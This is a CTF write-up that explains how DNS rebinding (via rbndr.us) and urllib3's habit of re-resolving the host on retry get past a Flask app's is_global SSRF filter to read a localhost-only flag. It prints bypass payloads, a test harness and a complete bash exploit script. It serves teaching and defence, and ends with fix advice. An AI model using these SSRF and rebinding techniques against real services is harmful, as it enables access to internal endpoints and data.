Challenge: Simple Food Notifications · CTF: GPN CTF 2026 · Category: Web · Difficulty: Medium

“Why make it complex when you can make it simple?” — the flag, mocking me for the two hours I spent overthinking it.

This was a deceptively clean SSRF challenge from the GPN24 CTF — the simpler sibling of Fancy Food Notifications. The server has a textbook anti-SSRF filter that, on paper, looks correct: it resolves your URL’s hostname, rejects anything that isn’t a globally-routable IP, and only then makes the request. No file://, no 127.0.0.1, no decimal-IP tricks. It even ships its own DNS resolver specifically to kill naive DNS rebinding.

And yet the flag lives behind a 127.0.0.1-only endpoint. This post walks through why every “obvious” bypass fails, and the one property of Python’s urllib3 that quietly tears the whole filter open.


The application

“Simple Food Notifications” is a small Flask app. You order a meal and give it a notification URL; the server fetches that URL when your food is “ready” and exposes the fetched response body back to you through a status API.

1
2
POST /order        url=<your-url>&meal=Gulasch   ->  gives you a notification id
GET  /notification/<id>                          ->  {"status": ..., "message": <fetched body>}

That last part is the important bit: the fetched response body is reflected back to us. This isn’t a blind SSRF — it’s a full-read SSRF. If we can point the fetch at something interesting, we get to read the response.

A quick test confirms it:

1
2
3
4
5
curl -s -X POST "$URL/order" --data-urlencode "url=http://example.com/" -d meal=Gulasch
# -> notification id a5jp3m3xl2

curl -s "$URL/notification/a5jp3m3xl2"
# {"status":"DONE","message":"<!doctype html><html>...Example Domain..."}

The body of example.com comes right back to us. Now we need a target worth reading.


The target: a localhost-only flag

The handout source makes the goal explicit:

1
2
3
4
5
6
7
8
9
FLAG = open("/flag").read().strip()

@app.route('/vip-meal')
def vip_meal():
    if request.remote_addr != "127.0.0.1":
        return render_template('meal.html',
            message="You are not dressed appropriate to see even vip meals."), 401
    return render_template('meal.html',
        message=f"...here is the flag {FLAG} with some caviar on top."), 200

/vip-meal hands over the flag — but only when request.remote_addr == "127.0.0.1".

remote_addr in the Werkzeug dev server is the real TCP peer address; there’s no ProxyFix, no X-Forwarded-For honoring. The only way for the app to see a connection coming from 127.0.0.1 is for the app to connect to itself over the loopback interface. Which is exactly what our SSRF can do — if we can talk it into fetching http://127.0.0.1/vip-meal.


The filter

Here’s the code that fetches our URL, lightly trimmed:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def create_meal(id, url):
    notifications[id] = {"status": "COOKING", ...}
    time.sleep(randomBetween(5, 15))  # "Let him cook"

    # --- the SSRF guard ---
    addresses = socket.getaddrinfo(urllib3.util.parse_url(url).host, 80)
    for addr in addresses:
        if not ipaddress.ip_address(addr[4][0]).is_global:
            notifications[id] = {"status": "REJECTED",
                "message": "Only staff is allowed to see mess in the kitchen..."}
            return

    # --- the actual request ---
    r = urllib3.request('GET', url, redirect=False, timeout=urllib3.Timeout(30))
    notifications[id] = {"status": "DONE", "message": r.data.decode('utf-8', errors='replace')}

The guard:

  1. Parses the host out of the URL.
  2. Resolves it with socket.getaddrinfo.
  3. Rejects the order if any resolved address fails ipaddress.is_global — i.e. anything loopback, private, link-local, reserved, etc.
  4. Only if it passes does it call urllib3.request(url, redirect=False).

And the infrastructure goes one step further. The container runs its own dnsmasq:

1
2
3
4
# dnsmasq.conf
min-cache-ttl=2
server=8.8.8.8
no-resolv

min-cache-ttl=2 forces every DNS answer to be cached for at least 2 seconds, regardless of the record’s real TTL. This is a deliberate anti-rebinding measure, and it’s the heart of the puzzle.


Why the easy bypasses all die

I burned a fair number of the rate-limited requests (there’s a global 60-second cooldown on /order) confirming each of these:

AttemptResultWhy
file:///flagREJECTEDscheme aside, the host check resolves to nothing global
http://127.0.0.1/REJECTEDloopback, is_global == False
http://2130706433/ (decimal)REJECTEDgetaddrinfo normalizes it to 127.0.0.1
http://0x7f000001/ (hex)REJECTEDsame
gopher://, ftp://REJECTEDresolve to loopback / non-global
http://[::ffff:127.0.0.1]/REJECTEDsee below

The IPv4-mapped IPv6 trick (::ffff:127.0.0.1) is the classic is_global bypass — older Python versions wrongly reported it as global. But the Dockerfile pins python:3.13-trixie, and that bug is fixed in 3.13:

1
2
3
>>> import ipaddress
>>> ipaddress.ip_address('::ffff:127.0.0.1').is_global
False           # patched; older Pythons returned True

What about a parser differential — tricking parse_url into seeing a benign host while urllib3.request connects somewhere else? No luck: urllib3.request parses the URL with the same urllib3.util.parse_url, so the host the guard checks is always the host the request connects to. I verified this against a pile of @, #, backslash, and whitespace payloads — check-host and connect-host never disagreed.

So there’s no static bypass. The check is correct for a single point in time. That phrasing is the whole game.


The crack: TOCTOU between two resolutions

Look carefully at the timeline of a single order:

1
2
3
getaddrinfo(host)         <-- resolution #1: used for the is_global check
   ... is_global passes ...
urllib3.request(url)      <-- resolution #2: urllib3 resolves the host AGAIN to connect

The hostname is resolved twice: once by the guard, and once again inside urllib3 when it actually opens the socket. That’s a Time-Of-Check-To-Time-Of-Use gap, and it’s the canonical setup for DNS rebinding: make resolution #1 return a global IP (pass the check) and resolution #2 return 127.0.0.1 (connect to loopback).

The problem is min-cache-ttl=2. The two resolutions happen microseconds apart, so they hit the same dnsmasq cache entry and get the same answer. You can’t flip a rebind inside a microsecond window when the cache floor is 2 full seconds. This is exactly what the author put dnsmasq there to prevent, and it does prevent the naive attack.

But urllib3 has a behavior that turns that 2-second cache from a defense into the exploit primitive:

urllib3.request retries failed connections, and it re-resolves the hostname on every retry.

So the attack isn’t “flip the DNS between check and connect.” It’s:

  1. Make resolution #1 (and the first connect attempt) land on a global IP that hangs — accepts no connection, just silently drops the SYN.
  2. The connect blocks. With Timeout(30), it blocks for up to 30 seconds — far longer than the 2-second cache.
  3. While it’s blocked, the dnsmasq cache entry expires.
  4. The connect times out. urllib3 retries → re-resolves → fresh DNS query → this time it gets 127.0.0.1.
  5. It connects to loopback. remote_addr == "127.0.0.1". /vip-meal coughs up the flag, and the body is reflected back through the notification API.

The 2-second cache doesn’t save you — it just guarantees the cache is stale by the time the retry fires.

I confirmed urllib3 really does re-resolve on retry with a tiny local harness before spending any live requests:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib3, socket, threading, http.server

# stand up a local "loopback /vip-meal"
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"REACHED_LOCALHOST")
    def log_message(self, *a): pass
srv = http.server.HTTPServer(('127.0.0.1', 0), H)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

real = socket.getaddrinfo
n = {'i': 0}
def fake(host, p, *a, **k):
    n['i'] += 1
    ip = '192.0.2.1' if n['i'] == 1 else '127.0.0.1'   # 1st: hang, 2nd: loopback
    return real(ip, port, *a, **k)
socket.getaddrinfo = fake

r = urllib3.request('GET', 'http://rebind.test/vip-meal',
                    redirect=False, timeout=urllib3.Timeout(connect=2, read=5))
print(r.status, r.data, "resolutions:", n['i'])
# -> 200 b'REACHED_LOCALHOST' resolutions: 2

Two resolutions, second one wins. The mechanism is real.


Picking the “hang” IP

The only remaining requirement: an IP that is both is_global == True and silently drops connections on port 80, so the connect blocks long enough to outlast the cache. A refused connection (fast RST) is no good — it fails in milliseconds, the cache is still warm, and every retry just re-resolves to the same hung global IP. We specifically need a timeout.

8.8.8.8 is perfect:

1
2
3
4
5
import socket, ipaddress
ipaddress.ip_address('8.8.8.8').is_global   # True

s = socket.socket(); s.settimeout(4)
s.connect(('8.8.8.8', 80))                  # socket.timeout — Google filters :80

Google’s resolver IP is globally routable but firewalls port 80, so connections hang rather than refuse. (1.1.1.1 does not work here — it actually serves on port 80.) 8.8.8.4, 9.9.9.9 behave like 8.8.8.8.

For the rebinding DNS itself I used the public rbndr.us service, which returns a single A record randomly flipping between two IPs encoded as hex in the hostname:

1
2
7f000001.08080808.rbndr.us
└─127.0.0.1─┘ └──8.8.8.8──┘

Each lookup independently returns 127.0.0.1 or 8.8.8.8, which is exactly the coin-flip we want for both resolution #1 and the retry.


The exploit

Putting it together — the final URL is just http://7f000001.08080808.rbndr.us/vip-meal. The script orders it, handles the 60s rate limit, and polls until the reflected body contains the flag. On a REJECTED (resolution #1 happened to be 127.0.0.1) or FAILED, it simply tries again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
B="https://flash-fried-paella-alongside-candied-dashi-99io.gpn24.ctf.kitctf.de"
URL="http://7f000001.08080808.rbndr.us/vip-meal"   # rbndr: 127.0.0.1 <-> 8.8.8.8

for round in $(seq 1 12); do
  # place order, auto-waiting out the 60s global rate limit
  while :; do
    resp=$(curl -s -X POST "$B/order" --data-urlencode "url=$URL" -d meal=Gulasch)
    id=$(echo "$resp" | grep -oP '/notification/\K[a-z0-9]+')
    [ -n "$id" ] && break
    w=$(echo "$resp" | grep -oP 'at least \K[0-9]+'); sleep $((w + 2))
  done
  echo "[round $round] ordered $id, polling..."

  # poll; connect-hangs can make a round take a couple of minutes
  for _ in $(seq 1 90); do
    r=$(curl -s "$B/notification/$id")
    st=$(echo "$r" | grep -oP '"status": "\K[^"]+')
    case "$st" in
      DONE)
        echo "$r" | grep -oiE 'GPNCTF\{[^}]*\}' && exit 0
        break ;;
      REJECTED|FAILED) echo "[round $round] $st, retrying"; break ;;
    esac
    sleep 2
  done
done

It hit on the first round:

1
2
3
[round 1] ordered zlolmfp9gf, polling...
[round 1] DONE: {... "<h1>VIP Meal</h1> ... here is the flag
GPNCTF{REDACTED} with some caviar on top." ...}

What happened under the hood that round: the check resolved 8.8.8.8 (global → passed), the first connect to 8.8.8.8:80 hung past the 2-second cache, urllib3 retried, re-resolved to 127.0.0.1, connected to loopback, and /vip-meal returned the flag — which the notification API dutifully reflected back to us.


Flag

1
GPNCTF{REDACTED}

Takeaways

  • A correct point-in-time check is not a correct check. Validating getaddrinfo(host) and then handing the hostname to a separate HTTP client means the name gets resolved twice. Anything between those two resolutions — caching, rebinding, retries — is attacker-controllable surface. The fix is to resolve once and connect to the validated IP, pinning it for the actual request.
  • min-cache-ttl is not an anti-SSRF control. It was added here to stop rebinding, but the retry-driven re-resolution turned the cache’s staleness into the exploit. Defenses that assume “the two lookups happen close together so they’ll agree” break the moment a retry stretches the gap.
  • Pick your hang carefully. The difference between a refused and a dropped connection is the difference between a failed exploit and a flag. You need a globally-routable IP that times out, not one that resets. 8.8.8.8:80 is a reliable, boring choice.

Simple bug, simple flag. The author wasn’t kidding.